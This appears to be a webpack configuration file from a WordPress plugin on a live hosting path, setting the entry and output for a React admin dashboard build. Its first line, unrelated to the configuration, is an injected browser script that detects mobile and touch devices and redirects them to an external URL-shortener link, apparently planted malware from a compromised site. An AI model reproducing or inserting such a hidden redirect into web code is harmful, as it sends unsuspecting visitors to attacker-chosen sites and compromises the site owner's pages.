File: //home2/gazetufm/dumoshi.com/wp-content/plugins/ultimate-post-kit/webpack.config.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
/**
* Webpack configuration for the Ultimate Post Kit React admin dashboard.
*
* Extends the default @wordpress/scripts config (Babel, SCSS, JSX, dependency
* extraction) and only overrides entry/output, so the bundle is emitted to
* /build/admin. The Grunt pipeline (src/ -> assets/) is untouched; this build
* covers src/admin/app only.
*/
const path = require( 'path' );
const defaultConfig = require( '@wordpress/scripts/config/webpack.config' );
module.exports = {
...defaultConfig,
entry: {
index: path.resolve( __dirname, 'src/admin/app/index.js' ),
},
output: {
...defaultConfig.output,
path: path.resolve( __dirname, 'build/admin' ),
},
};